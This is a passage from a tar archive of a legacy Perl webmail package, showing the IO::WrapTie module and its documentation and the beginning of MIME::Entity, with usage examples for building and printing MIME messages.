In this case, the FileHandle is wrapped in an IO::Wrap object if and only
if your FileHandle class does not support the C<read()> method.

=item *

B<Any other kind of blessed object,> which is assumed to be already
conformant to the IO::Handle interface.
In this case, you just get back that object.

=back

=back


If you get back an IO::Wrap object, it will obey a basic subset of
the IO:: interface.  That is, the following methods (note: I said
I<methods>, not named operators) should work on the thing you get back:

    close 
    getline 
    getlines 
    print ARGS...
    read BUFFER,NBYTES
    seek POS,WHENCE
    tell 



=head1 NOTES

Clearly, when wrapping a raw external filehandle (like \*STDOUT), 
I didn't want to close the file descriptor when the "wrapper" object is
destroyed... since the user might not appreciate that!  Hence,
there's no DESTROY method in this class.

When wrapping a FileHandle object, however, I believe that Perl will 
invoke the FileHandle::DESTROY when the last reference goes away,
so in that case, the filehandle is closed if the wrapped FileHandle
really was the last reference to it.


=head1 WARNINGS

This module does not allow you to wrap filehandle names which are given
as strings that lack the package they were opened in. That is, if a user 
opens FOO in package Foo, they must pass it to you either as C<\*FOO> 
or as C<"Foo::FOO">.  However, C<"STDIN"> and friends will work just fine.
    

=head1 AUTHOR

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).

=cut

wm357/IO/WrapTie.pm100755    312    144       34432  7124606126  13226 0ustar  webmailusers# SEE DOCUMENTATION AT BOTTOM OF FILE


#------------------------------------------------------------
package IO::WrapTie;
#------------------------------------------------------------
require 5.004;              # for tie
use strict;
use vars qw(@ISA @EXPORT $VERSION);
use Exporter;

# Inheritance, exporting, and package version:
@ISA     = qw(Exporter);
@EXPORT  = qw(wraptie);
$VERSION = substr q$Revision: 1.108 $, 10;

# Function, exported.
sub wraptie {
    IO::WrapTie::Master->new(@_);
}

# Class method; BACKWARDS-COMPATIBILITY ONLY!
sub new { 
    shift; 
    IO::WrapTie::Master->new(@_);
}



#------------------------------------------------------------
package IO::WrapTie::Master;
#------------------------------------------------------------

use strict;
use vars qw(@ISA $AUTOLOAD);
use IO::Handle;

# We inherit from IO::Handle to get methods which invoke i/o operators,
# like print(), on our tied handle:
@ISA = qw(IO::Handle);

#------------------------------
# new SLAVE, TIEARGS...
#------------------------------
# Create a new subclass of IO::Handle which...
#
#   (1) Handles i/o OPERATORS because it is tied to an instance of 
#       an i/o-like class, like IO::Scalar.
#
#   (2) Handles i/o METHODS by delegating them to that same tied object!.
#
# Arguments are the slave class (e.g., IO::Scalar), followed by all 
# the arguments normally sent into that class's TIEHANDLE method.
# In other words, much like the arguments to tie().  :-)
#
# NOTE:
# The thing $x we return must be a BLESSED REF, for ($x->print()).
# The underlying symbol must be a FILEHANDLE, for (print $x "foo").
# It has to have a way of getting to the "real" back-end object...
#
sub new {
    my $master = shift;
    my $io = IO::Handle->new;   # create a new handle
    my $slave = shift;
    tie *$io, $slave, @_;       # tie: will invoke slave's TIEHANDLE
    bless $io, $master;         # return a master
}

#------------------------------
# AUTOLOAD
#------------------------------
# Delegate method invocations on the master to the underlying slave.
#
sub AUTOLOAD {
    my $method = $AUTOLOAD;
    $method =~ s/.*:://;
    my $self = shift; tied(*$self)->$method(\@_);
}

#------------------------------
# PRELOAD
#------------------------------
# Utility.
#
# Most methods like print(), getline(), etc. which work on the tied object 
# via Perl's i/o operators (like 'print') are inherited from IO::Handle.
#
# Other methods, like seek() and sref(), we must delegate ourselves.
# AUTOLOAD takes care of these.
#
# However, it may be necessary to preload delegators into your
# own class.  PRELOAD will do this.
#
sub PRELOAD {
    my $class = shift;
    foreach (@_) {
	eval "sub ${class}::$_ { my \$s = shift; tied(*\$s)->$_(\@_) }";
    }    
}

# Preload delegators for some standard methods which we can't simply
# inherit from IO::Handle... for example, some IO::Handle methods 
# assume that there is an underlying file descriptor.
#
PRELOAD IO::WrapTie::Master 
    qw(open opened close read clearerr eof seek tell setpos getpos);



#------------------------------------------------------------
package IO::WrapTie::Slave;
#------------------------------------------------------------
# Teeny private class providing a new_tie constructor...
#
# HOW IT ALL WORKS:
# 
# Slaves inherit from this class.
#
# When you send a new_tie() message to a tie-slave class (like IO::Scalar),
# it first determines what class should provide its master, via TIE_MASTER.
# In this case, IO::Scalar->TIE_MASTER would return IO::Scalar::Master.
# Then, we create a new master (an IO::Scalar::Master) with the same args
# sent to new_tie.
#
# In general, the new() method of the master is inherited directly 
# from IO::WrapTie::Master.
#
sub new_tie {
    my $self = shift;
    $self->TIE_MASTER->new($self,@_);     # e.g., IO::Scalar::Master->new(@_)
}

# Default class method for new_tie().
# All your tie-slave class (like IO::Scalar) has to do is override this 
# method with a method that returns the name of an appropriate "master"
# class for tying that slave.
#
sub TIE_MASTER { 'IO::WrapTie::Master' }

#------------------------------
1;
__END__


package IO::WrapTie;      # for doc generator


=head1 NAME

IO::WrapTie - wrap tieable objects in IO::Handle interface

I<This is currently Alpha code, released for comments.  
  Please give me your feedback!>


=head1 SYNOPSIS

First of all, you'll need tie(), so:

   require 5.004;

I<Function interface (experimental).>
Use this with any existing class...

   use IO::WrapTie;
   use FooHandle;                  # implements TIEHANDLE interface
    
   # Suppose we want a "FooHandle->new(&FOO_RDWR, 2)".
   # We can instead say...
    
   $FH = wraptie('FooHandle', &FOO_RDWR, 2); 
    
   # Now we can use...    
   print $FH "Hello, ";            # traditional operator syntax...
   $FH->print("world!\n");         # ...and OO syntax as well!

I<OO interface (preferred).>
You can inherit from the IO::WrapTie::Slave mixin to get a
nifty C<new_tie()> constructor...

   #------------------------------    
   package FooHandle;                        # a class which can TIEHANDLE
   
   use IO::WrapTie;  
   @ISA = qw(IO::WrapTie::Slave);            # inherit new_tie()
   ...
   
    
   #------------------------------    
   package main; 
   
   $FH = FooHandle->new_tie(&FOO_RDWR, 2);   # $FH is an IO::WrapTie::Master
   print $FH "Hello, ";                      # traditional operator syntax
   $FH->print("world!\n");                   # OO syntax

See IO::Scalar as an example.  It also shows you how to create classes
which work both with and without 5.004.


=head1 DESCRIPTION

Suppose you have a class C<FooHandle>, where...

=over 4

=item *

B<FooHandle does not inherit from IO::Handle;> that is, it performs
filehandle-like I/O, but to something other than an underlying
file descriptor.  Good examples are IO::Scalar (for printing to a
string) and IO::Lines (for printing to an array of lines).

=item *

B<FooHandle implements the TIEHANDLE interface> (see L<perltie>);
that is, it provides methods TIEHANDLE, GETC, PRINT, PRINTF,
READ, and READLINE.

=item *

B<FooHandle implements the traditional OO interface> of
FileHandle and IO::Handle; i.e., it contains methods like getline(), 
read(), print(), seek(), tell(), eof(), etc.

=back


Normally, users of your class would have two options:


=over 4

=item *

B<Use only OO syntax,> and forsake named I/O operators like 'print'.

=item * 

B<Use with tie,> and forsake treating it as a first-class object 
(i.e., class-specific methods can only be invoked through the underlying
object via tied()... giving the object a "split personality").

=back


But now with IO::WrapTie, you can say:

    $WT = wraptie('FooHandle', &FOO_RDWR, 2);
    $WT->print("Hello, world\n");   # OO syntax
    print $WT "Yes!\n";             # Named operator syntax too!
    $WT->weird_stuff;               # Other methods!

And if you're authoring a class like FooHandle, just have it inherit 
from C<IO::WrapTie::Slave> and that first line becomes even prettier:

    $WT = FooHandle->new_tie(&FOO_RDWR, 2);

B<The bottom line:> now, almost any class can look and work exactly like
an IO::Handle... and be used both with OO and non-OO filehandle syntax.


=head1 HOW IT ALL WORKS


=head2 The data structures

Consider this example code, using classes in this distribution:

    use IO::Scalar;
    use IO::WrapTie;
     
    $WT = wraptie('IO::Scalar',\$s);
    print $WT "Hello, ";
    $WT->print("world!\n");

In it, the wraptie() function creates a data structure as follows:

                          * $WT is a blessed reference to a tied filehandle
              $WT           glob; that glob is tied to the "Slave" object.
               |          * You would do all your i/o with $WT directly.
               |       
               |
               |     ,---isa--> IO::WrapTie::Master >--isa--> IO::Handle
               V    /
        .-------------. 
        |             | 
        |             |   * Perl i/o operators work on the tied object,  
        |  "Master"   |     invoking the TIEHANDLE methods.
        |             |   * Method invocations are delegated to the tied 
        |             |     slave.
        `-------------' 
               |    
    tied(*$WT) |     .---isa--> IO::WrapTie::Slave
               V    /   
        .-------------.
        |             |
        |   "Slave"   |   * Instance of FileHandle-like class which doesn't
        |             |     actually use file descriptors, like IO::Scalar.
        |  IO::Scalar |   * The slave can be any kind of object.
        |             |   * Must implement the TIEHANDLE interface.
        `-------------'


I<NOTE:> just as an IO::Handle is really just a blessed reference to a 
I<traditional> filehandle glob... so also, an IO::WrapTie::Master 
is really just a blessed reference to a filehandle 
glob I<which has been tied to some "slave" class.>


=head2 How wraptie() works

=over 4

=item 1.

The call to function C<wraptie(SLAVECLASS, TIEARGS...)> is 
passed onto C<IO::WrapTie::Master::new()>.  
Note that class IO::WrapTie::Master is a subclass of IO::Handle.

=item 2.

The C<IO::WrapTie::Master::new> method creates a new IO::Handle object,
reblessed into class IO::WrapTie::Master.  This object is the I<master>, 
which will be returned from the constructor.  At the same time...

=item 3.

The C<new> method also creates the I<slave>: this is an instance 
of SLAVECLASS which is created by tying the master's IO::Handle 
to SLAVECLASS via C<tie(HANDLE, SLAVECLASS, TIEARGS...)>.  
This call to C<tie()> creates the slave in the following manner:

=item 4.

Class SLAVECLASS is sent the message C<TIEHANDLE(TIEARGS...)>; it 
will usually delegate this to C<SLAVECLASS::new(TIEARGS...)>, resulting
in a new instance of SLAVECLASS being created and returned.

=item 5.

Once both master and slave have been created, the master is returned
to the caller.  

=back


=head2 How I/O operators work (on the master)

Consider using an i/o operator on the master:

    print $WT "Hello, world!\n";   

Since the master ($WT) is really a [blessed] reference to a glob, 
the normal Perl i/o operators like C<print> may be used on it.
They will just operate on the symbol part of the glob.

Since the glob is tied to the slave, the slave's PRINT method 
(part of the TIEHANDLE interface) will be automatically invoked.  

If the slave is an IO::Scalar, that means IO::Scalar::PRINT will be 
invoked, and that method happens to delegate to the C<print()> method 
of the same class.  So the I<real> work is ultimately done by 
IO::Scalar::print().


=head2 How methods work (on the master)

Consider using a method on the master:

    $WT->print("Hello, world!\n");

Since the master ($WT) is blessed into the class IO::WrapTie::Master,
Perl first attempts to find a C<print()> method there.  Failing that,
Perl next attempts to find a C<print()> method in the superclass,
IO::Handle.  It just so happens that there I<is> such a method;
that method merely invokes the C<print> i/o operator on the self object...
and for that, see above!

But let's suppose we're dealing with a method which I<isn't> part
of IO::Handle... for example:

    my $sref = $WT->sref;

In this case, the intuitive behavior is to have the master delegate the
method invocation to the slave (now do you see where the designations
come from?).  This is indeed what happens: IO::WrapTie::Master contains
an AUTOLOAD method which performs the delegation.  

So: when C<sref()> can't be found in IO::Handle, the AUTOLOAD method
of IO::WrapTie::Master is invoked, and the standard behavior of
delegating the method to the underlying slave (here, an IO::Scalar)
is done.

Sometimes, to get this to work properly, you may need to create 
a subclass of IO::WrapTie::Master which is an effective master for
I<your> class, and do the delegation there.




=head1 NOTES

B<Why not simply use the object's OO interface?> 
    Because that means forsaking the use of named operators
like print(), and you may need to pass the object to a subroutine
which will attempt to use those operators:

    $O = FooHandle->new(&FOO_RDWR, 2);
    $O->print("Hello, world\n");  # OO syntax is okay, BUT....
    
    sub nope { print $_[0] "Nope!\n" }
 X  nope($O);                     # ERROR!!! (not a glob ref)
    

B<Why not simply use tie()?> 
    Because (1) you have to use tied() to invoke methods in the
object's public interface (yuck), and (2) you may need to pass 
the tied symbol to another subroutine which will attempt to treat 
it in an OO-way... and that will break it:

    tie *T, 'FooHandle', &FOO_RDWR, 2; 
    print T "Hello, world\n";     # Operator is okay, BUT... 
    
    tied(*T)->other_stuff;        # yuck! AND...
    
    sub nope { shift->print("Nope!\n") }
 X  nope(\*T);                    # ERROR!!! (method "print" on unblessed ref)


B<Why a master and slave? 
  Why not simply write FooHandle to inherit from IO::Handle?>
    I tried this, with an implementation similar to that of IO::Socket.  
The problem is that I<the whole point is to use this with objects
that don't have an underlying file/socket descriptor.>.
Subclassing IO::Handle will work fine for the OO stuff, and fine with 
named operators I<if> you tie()... but if you just attempt to say:

    $IO = FooHandle->new(&FOO_RDWR, 2);
    print $IO "Hello!\n";

you get a warning from Perl like:

    Filehandle GEN001 never opened

because it's trying to do system-level i/o on an (unopened) file 
descriptor.  To avoid this, you apparently have to tie() the handle...
which brings us right back to where we started!  At least the
IO::WrapTie mixin lets us say:

    $IO = FooHandle->new_tie(&FOO_RDWR, 2);
    print $IO "Hello!\n";

and so is not I<too> bad.  C<:-)>


=head1 WARNINGS

Remember: this stuff is for doing FileHandle-like i/o on things
I<without underlying file descriptors>.  If you have an underlying
file descriptor, you're better off just inheriting from IO::Handle.

B<Be aware that new_tie() always returns an instance of a
kind of IO::WrapTie::Master...> it does B<not> return an instance 
of the i/o class you're tying to!  

Invoking some methods on the master object causes AUTOLOAD to delegate
them to the slave object... so it I<looks> like you're manipulating a 
"FooHandle" object directly, but you're not.

I have not explored all the ramifications of this use of tie().
I<Here there be dragons>.


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).

=cut

wm357/MIME/ 40700    312    144           0  7245677670  11415 5ustar  webmailuserswm357/MIME/Entity.pm100755    312    144      167141  7123570005  13366 0ustar  webmailuserspackage MIME::Entity;


=head1 NAME

MIME::Entity - class for parsed-and-decoded MIME message


=head1 SYNOPSIS

    ### Create an entity:
    $top = MIME::Entity->build(From    => 'me@myhost.com',
                               To      => 'you@yourhost.com',
                               Subject => "Hello, nurse!",
			       Data    => \@my_message);
     
    ### Attach stuff to it:
    $top->attach(Path     => $gif_path,
		 Type     => "image/gif",
		 Encoding => "base64");
         
    ### Sign it:
    $top->sign;
    
    ### Output it:
    $top->print(\*STDOUT);


=head1 DESCRIPTION

A subclass of B<Mail::Internet>.

This package provides a class for representing MIME message entities,
as specified in RFC 1521, I<Multipurpose Internet Mail Extensions>.


=head1 EXAMPLES

=head2 Construction examples

Create a document for an ordinary 7-bit ASCII text file (lots of 
stuff is defaulted for us):

    $ent = MIME::Entity->build(Path=>"english-msg.txt");

Create a document for a text file with 8-bit (Latin-1) characters:

    $ent = MIME::Entity->build(Path     =>"french-msg.txt",
                               Encoding =>"quoted-printable",
                               From     =>'jean.luc@inria.fr',
                               Subject  =>"C'est bon!");

Create a document for a GIF file (the description is completely optional;
note that we have to specify content-type and encoding since they're
not the default values):

    $ent = MIME::Entity->build(Description => "A pretty picture",
                               Path        => "./docs/mime-sm.gif",
                               Type        => "image/gif",
                               Encoding    => "base64");

Create a document that you already have the text for, using "Data":

    $ent = MIME::Entity->build(Type        => "text/plain",
                               Encoding    => "quoted-printable",
                               Data        => ["First line.\n",
                                              "Second line.\n",
                                              "Last line.\n"]);

Create a multipart message, with the entire structure given
explicitly:

    ### Create the top-level, and set up the mail headers:
    $top = MIME::Entity->build(Type     => "multipart/mixed",
                               From     => 'me@myhost.com',
                               To       => 'you@yourhost.com',
                               Subject  => "Hello, nurse!");
    
    ### Attachment #1: a simple text document: 
    $top->attach(Path=>"./testin/short.txt");
    
    ### Attachment #2: a GIF file:
    $top->attach(Path        => "./docs/mime-sm.gif",
                 Type        => "image/gif",
                 Encoding    => "base64");
     
    ### Attachment #3: text we'll create with text we have on-hand:
    $top->attach(Data => $contents);

Suppose you don't know ahead of time that you'll have attachments?
No problem: you can "attach" to singleparts as well:

    $top = MIME::Entity->build(From    => 'me@myhost.com',
			       To      => 'you@yourhost.com',
			       Subject => "Hello, nurse!",
			       Data    => \@my_message);
    if ($GIF_path) { 
	$top->attach(Path     => $GIF_path,
	             Type     => 'image/gif');
    }

Copy an entity (headers, parts... everything but external body data):

    my $deepcopy = $top->dup;				  



=head2 Access examples 

    ### Get the head, a MIME::Head:
    $head = $ent->head;
    
    ### Get the body, as a MIME::Body;
    $bodyh = $ent->bodyhandle;
    
    ### Get the actual MIME type, in the header:
    $type = $ent->mime_type;

    ### Get the effective MIME type (for nonstandard encodings):
    $eff_type = $ent->effective_type;
     
    ### Get preamble, parts, and epilogue:
    $preamble   = $ent->preamble;          ### ref to array of lines
    $num_parts  = $ent->parts;
    $first_part = $ent->parts(0);          ### an entity
    $epilogue   = $ent->epilogue;          ### ref to array of lines


=head2 Manipulation examples

Muck about with the body data:

    ### Read the (unencoded) body data:
    if ($io = $ent->open("r")) {
	while (defined($_ = $io->getline)) { print $_ }
	$io->close;
    }
    
    ### Write the (unencoded) body data:
    if ($io = $ent->open("w")) {
	foreach (@lines) { $io->print($_) }
	$io->close;
    }
    
    ### Delete the files for any external (on-disk) data:
    $ent->purge;

Muck about with the signature:

    ### Sign it (automatically removes any existing signature):
    $top->sign(File=>"$ENV{HOME}/.signature");
        
    ### Remove any signature within 15 lines of the end:
    $top->remove_sig(15);

Muck about with the headers:

    ### Compute content-lengths for singleparts based on bodies:
    ###   (Do this right before you print!)
    $entity->sync_headers(Length=>'COMPUTE');

Muck about with the structure:

    ### If a 0- or 1-part multipart, collapse to a singlepart:
    $top->make_singlepart;
    
    ### If a singlepart, inflate to a multipart with 1 part:
    $top->make_multipart;

Delete parts:

    ### Delete some parts of a multipart message:
    my @keep = grep { keep_part($_) } $msg->parts;
    $msg->parts(\@keep); 


=head2 Output examples

Print to filehandles:

    ### Print the entire message:
    $top->print(\*STDOUT);
     
    ### Print just the header:
    $top->print_header(\*STDOUT);   
    
    ### Print just the (encoded) body... includes parts as well!
    $top->print_body(\*STDOUT);

Stringify... note that C<stringify_xx> can also be written C<xx_as_string>;
the methods are synonymous, and neither form will be deprecated:

    ### Stringify the entire message:
    print $top->stringify;              ### or $top->as_string
    
    ### Stringify just the header:
    print $top->stringify_header;       ### or $top->header_as_string
    
    ### Stringify just the (encoded) body... includes parts as well!
    print $top->stringify_body;         ### or $top->body_as_string

Debug:

    ### Output debugging info:
    $entity->dump_skeleton(\*STDERR);



=head1 PUBLIC INTERFACE

=cut

#------------------------------

### Pragmas:
use vars qw(@ISA $VERSION); 
use strict;

### System modules:
use FileHandle;
use Carp;

### Other modules:
use Mail::Internet 1.28 ();
use Mail::Field    1.05 ();

### Kit modules:
use MIME::Tools qw(:config :msgs :utils);
use MIME::Head;
use MIME::Body;
use MIME::Decoder;
use IO::Scalar;
use IO::Wrap;
use IO::Lines;

@ISA = qw(Mail::Internet);


#------------------------------
#
# Globals...
#
#------------------------------

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.205 $, 10;

### Boundary counter:
my $BCount = 0;

### Standard "Content-" MIME fields, for scrub():
my $StandardFields = 'Description|Disposition|Id|Type|Transfer-Encoding';

### Known Mail/MIME fields... these, plus some general forms like 
### "x-*", are recognized by build():
my %KnownField = map {$_=>1} 
qw(
   bcc         cc          comments      date          encrypted 
   from        keywords    message-id    mime-version  organization
   received    references  reply-to      return-path   sender        
   subject     to
   );

### Fallback preamble and epilogue:
my $DefPreamble = [ "This is a multi-part message in MIME format...\n" ];
my $DefEpilogue = [ ];


#==============================
#
# Utilities, private
#

#------------------------------
#
# known_field FIELDNAME
#
# Is this a recognized Mail/MIME field?
#
sub known_field {
    my $field = lc(shift);
    $KnownField{$field} or ($field =~ m{^(content|resent|x)-.});
}

#------------------------------
#
# make_boundary
#
# Return a unique boundary string.
# This is used both internally and by MIME::ParserBase, but it is NOT in
# the public interface!  Do not use it!
#
# We generate one containing a "=_", as RFC1521 suggests.
#
sub make_boundary {
    return "----------=_".scalar(time)."-$$-".$BCount++;
}






#==============================

=head2 Construction

=over 4

=cut


#------------------------------

=item new [SOURCE]

I<Class method.>
Create a new, empty MIME entity.
Basically, this uses the Mail::Internet constructor...

If SOURCE is an ARRAYREF, it is assumed to be an array of lines
that will be used to create both the header and an in-core body.

Else, if SOURCE is defined, it is assumed to be a filehandle
from which the header and in-core body is to be read. 

B<Note:> in either case, the body will not be I<parsed:> merely read!

=cut

sub new {
    my $class = shift;
    my $self = $class->Mail::Internet::new(@_);   ### inherited
    $self->{ME_Parts} = [];                       ### no parts extracted
    $self;
}


###------------------------------

=item add_part ENTITY, [OFFSET]

I<Instance method.>
Assuming we are a multipart message, add a body part (a MIME::Entity)
to the array of body parts.  Returns the part that was just added.

If OFFSET is positive, the new part is added at that offset from the
beginning of the array of parts.  If it is negative, it counts from
the end of the array.  (An INDEX of -1 will place the new part at the
very end of the array, -2 will place it as the penultimate item in the
array, etc.)  If OFFSET is not given, the new part is added to the end
of the array.
I<Thanks to Jason L Tibbitts III for providing support for OFFSET.>

B<Warning:> in general, you only want to attach parts to entities
with a content-type of C<multipart/*>).

=cut

sub add_part {
    my ($self, $part, $index) = @_;
    defined($index) or $index = -1;

    ### Make $index count from the end if negative:
    $index = $#{$self->{ME_Parts}} + 2 + $index if ($index < 0);
    splice(@{$self->{ME_Parts}}, $index, 0, $part);
    $part;
}

#------------------------------

=item attach PARAMHASH

I<Instance method.>
The real quick-and-easy way to create multipart messages.
The PARAMHASH is used to C<build> a new entity; this method is
basically equivalent to:

    $entity->add_part(ref($entity)->build(PARAMHASH, Top=>0));

B<Note:> normally, you attach to multipart entities; however, if you 
attach something to a singlepart (like attaching a GIF to a text
message), the singlepart will be coerced into a multipart automatically.

=cut 

sub attach {
    my $self = shift;
    $self->make_multipart;
    $self->add_part(ref($self)->build(@_, Top=>0));
}

#------------------------------

=item build PARAMHASH

I<Class/instance method.>
A quick-and-easy catch-all way to create an entity.  Use it like this
to build a "normal" single-part entity:

   $ent = MIME::Entity->build(Type     => "image/gif",
		              Encoding => "base64",
                              Path     => "/path/to/xyz12345.gif",
                              Filename => "saveme.gif",
                              Disposition => "attachment");

And like this to build a "multipart" entity:

   $ent = MIME::Entity->build(Type     => "multipart/mixed",
                              Boundary => "---1234567");

A minimal MIME header will be created.  If you want to add or modify
any header fields afterwards, you can of course do so via the underlying 
head object... but hey, there's now a prettier syntax!

   $ent = MIME::Entity->build(Type          =>"multipart/mixed",
                              From          => $myaddr,
                              Subject       => "Hi!",
                              'X-Certified' => ['SINED',
                                                'SEELED',
                                                'DELIVERED']);

Normally, an C<X-Mailer> header field is output which contains this 
toolkit's name and version (plus this module's RCS version).
This will allow any bad MIME we generate to be traced back to us.
You can of course overwrite that header with your own:

   $ent = MIME::Entity->build(Type        => "multipart/mixed",
                              'X-Mailer'  => "myprog 1.1");

Or remove it entirely:

   $ent = MIME::Entity->build(Type       => "multipart/mixed",
                              'X-Mailer' => undef);

OK, enough hype.  The parameters are:

=over 4

=item (FIELDNAME)

Any field you want placed in the message header, taken from the
standard list of header fields (you don't need to worry about case):

    Bcc           Encrypted     Received      Sender         
    Cc            From          References    Subject 
    Comments	  Keywords      Reply-To      To 
    Content-*	  Message-ID    Resent-*      X-*
    Date          MIME-Version  Return-Path   
                  Organization

To give experienced users some veto power, these fields will be set 
I<after> the ones I set... so be careful: I<don't set any MIME fields>
(like C<Content-type>) unless you know what you're doing!

To specify a fieldname that's I<not> in the above list, even one that's
identical to an option below, just give it with a trailing C<":">,
like C<"My-field:">.  When in doubt, that I<always> signals a mail 
field (and it sort of looks like one too).

=item Boundary

I<Multipart entities only. Optional.>  
The boundary string.  As per RFC-1521, it must consist only
of the characters C<[0-9a-zA-Z'()+_,-./:=?]> and space (you'll be
warned, and your boundary will be ignored, if this is not the case).
If you omit this, a random string will be chosen... which is probably 
safer.

=item Charset

I<Optional.>  
The character set.

=item Data

I<Single-part entities only. Optional.>  
An alternative to Path (q.v.): the actual data, either as a scalar
or an array reference (whose elements are joined together to make
the actual scalar).  The body is opened on the data using 
MIME::Body::InCore.

=item Description

I<Optional.>  
The text of the content-description.  
If you don't specify it, the field is not put in the header.

=item Disposition

I<Optional.>  
The basic content-disposition (C<"attachment"> or C<"inline">).
If you don't specify it, it defaults to "inline" for backwards
compatibility.  I<Thanks to Kurt Freytag for suggesting this feature.>

=item Encoding

I<Optional.>  
The content-transfer-encoding.
If you don't specify it, a reasonable default is put in.
You can also give the special value '-SUGGEST', to have it chosen for 
you in a heavy-duty fashion which scans the data itself.

=item Filename

I<Single-part entities only. Optional.>  
The recommended filename.  Overrides any name extracted from C<Path>.
The information is stored both the deprecated (content-type) and
preferred (content-disposition) locations.  If you explicitly want to 
I<avoid> a recommended filename (even when Path is used), supply this 
as empty or undef.

=item Path

I<Single-part entities only. Optional.>  
The path to the file to attach.  The body is opened on that file
using MIME::Body::File.

=item Top

I<Optional.>  
Is this a top-level entity?  If so, it must sport a MIME-Version.
The default is true.  (NB: look at how C<attach()> uses it.)

=item Type

I<Optional.>  
The basic content-type (C<"text/plain">, etc.). 
If you don't specify it, it defaults to C<"text/plain"> 
as per RFC-1521.  I<Do yourself a favor: put it in.>

=back

=cut

sub build {
    my ($self, @paramlist) = @_;
    my %params = @paramlist;
    my ($field, $filename, $boundary);

    ### Create a new entity, if needed:
    ref($self) or $self = $self->new;


    ### GET INFO...

    ### Get sundry field:
    my $type         = $params{Type} || 'text/plain';
    my $charset      = $params{Charset};
    my $is_multipart = ($type =~ m{^multipart/}i);
    my $encoding     = $params{Encoding} || '';
    my $desc         = $params{Description};
    my $top          = exists($params{Top}) ? $params{Top} : 1;
    my $disposition  = $params{Disposition} || 'inline';

    ### Get recommended filename, allowing explicit no-value value:
    my ($path_fname) = (($params{Path}||'') =~ m{([^/]+)\Z});
    $filename = (exists($params{Filename}) ? $params{Filename} : $path_fname);
    $filename = undef if (defined($filename) and $filename eq '');
    
    ### Type-check sanity:
    if ($type =~ m{^(multipart|message)/}) {
	($encoding =~ /^(|7bit|8bit|binary|-suggest)$/i) 
	    or croak "can't have encoding $encoding for message type $type!";
    }

    ### Multipart or not? Do sanity check and fixup:
    if ($is_multipart) {      ### multipart...
	
	### Get any supplied boundary, and check it:
	if (defined($boundary = $params{Boundary})) {  ### they gave us one...
	    if ($boundary eq '') {
		whine "empty string not a legal boundary: I'm ignoring it";
		$boundary = undef;
	    }
	    elsif ($boundary =~ m{[^0-9a-zA-Z\'\(\)\+\_\,\.\/\:\=\?\- ]}) {
		whine "boundary ignored: illegal characters ($boundary)";
		$boundary = undef;
	    }
	}
	
	### If we have to roll our own boundary, do so:
	defined($boundary) or $boundary = make_boundary();
    }
    else {                    ### single part...
	### Create body:
	if ($params{Path}) {
	    $self->bodyhandle(new MIME::Body::File $params{Path});
	}
	elsif (defined($params{Data})) {
	    $self->bodyhandle(new MIME::Body::InCore $params{Data});
	}
	else { 
	    die "can't build entity: no body, and not multipart\n";
	}

	### Check whether we need to binmode():   [Steve Kilbane]
	$self->bodyhandle->binmode(1) unless textual_type($type);
    }


    ### MAKE HEAD...

    ### Create head:
    my $head = new MIME::Head;
    $self->head($head);
    $head->modify(1);

    ### Add content-type field:
    $field = new Mail::Field 'Content_type';         ### not a typo :-(
    $field->type($type);
    $field->charset($charset)    if $charset;
    $field->name($filename)      if defined($filename);
    $field->boundary($boundary)  if defined($boundary);
    $head->replace('Content-type', $field->stringify);

    ### Now that both body and content-type are available, we can suggest 
    ### content-transfer-encoding (if desired);
    if (!$encoding) {
	$encoding = $self->suggest_encoding_lite;
    }
    elsif (lc($encoding) eq '-suggest') {
	$encoding = $self->suggest_encoding;
    }
   
    ### Add content-disposition field (if not multipart):
    unless ($is_multipart) {
	$field = new Mail::Field 'Content_disposition';  ### not a typo :-(
	$field->type($disposition);
	$field->filename($filename) if defined($filename);
	$head->replace('Content-disposition', $field->stringify);
    }

    ### Add other MIME fields:
    $head->replace('Content-transfer-encoding', $encoding) if $encoding;
    $head->replace('Content-description', $desc)           if $desc;
    $head->replace('MIME-Version', '1.0')                  if $top;

    ### Add the X-Mailer field, if top level (use default value if not given):
    $top and $head->replace('X-Mailer', 
			    "MIME-tools ".(0+MIME::Tools->version).
			    " (Entity "  .(0+$VERSION).")"); 
	
    ### Add remaining user-specified fields, if any:
    while (@paramlist) {
	my ($tag, $value) = (shift @paramlist, shift @paramlist);

	### Get fieldname, if that's what it is:
	if    ($tag =~ /^-(.*)/s)  { $tag = lc($1) }    ### old style, b.c.
	elsif ($tag =~ /(.*):$/s ) { $tag = lc($1) }    ### new style
	elsif (known_field(lc($tag)))     { 1 }    ### known field
	else { next; }                             ### not a field

	### Clear head, get list of values, and add them:
	$head->delete($tag);
	foreach $value (ref($value) ? @$value : ($value)) {
	    (defined($value) && ($value ne '')) or next;
	    $head->add($tag, $value);
	}
    }
    
    ### Done!
    $self;
}

#------------------------------

=item dup

I<Instance method.> 
Duplicate the entity.  Does a deep, recursive copy, I<but beware:>
external data in bodyhandles is I<not> copied to new files!  
Changing the data in one entity's data file, or purging that entity, 
I<will> affect its duplicate.  Entities with in-core data probably need
not worry.

=cut

sub dup {
    my $self = shift;
    local($_);

    ### Self (this will also dup the header):
    my $dup = bless $self->SUPER::dup(), ref($self);

    ### Any simple inst vars:
    foreach (keys %$self) {$dup->{$_} = $self->{$_} unless ref($self->{$_})};
    
    ### Bodyhandle:
    $dup->bodyhandle($self->bodyhandle ? $self->bodyhandle->dup : undef);

    ### Preamble and epilogue:
    foreach (qw(ME_Preamble ME_Epilogue)) {
	$dup->{$_} = [@{$self->{$_}}]  if $self->{$_};
    }

    ### Parts:
    $dup->{ME_Parts} = [];
    foreach (@{$self->{ME_Parts}}) { push @{$dup->{ME_Parts}}, $_->dup }

    ### Done!
    $dup;
}

=back

=cut





#==============================

=head2 Access

=over 4

=cut


#------------------------------

=item body [VALUE]

I<Instance method.>
Get the I<encoded> (transport-ready) body, as an array of lines. 
This is a read-only data structure: changing its contents will have 
no effect.  Its contents are identical to what is printed by 
L<print_body()|/print_body>.

Provided for compatibility with Mail::Internet, so that methods
like C<smtpsend()> will work.  Note however that if VALUE is given, 
a fatal exception is thrown, since you cannot use this method to 
I<set> the lines of the encoded message.  

If you want the raw (unencoded) body data, use the L<bodyhandle()|/bodyhandle>
method to get and use a MIME::Body.  The content-type of the entity
will tell you whether that body is best read as text (via getline())
or raw data (via read()).

=cut

sub body {
    my ($self, $value) = @_;
    if (@_ > 1) {      ### setting body line(s)...
	croak "you cannot use body() to set the encoded contents\n";
    }
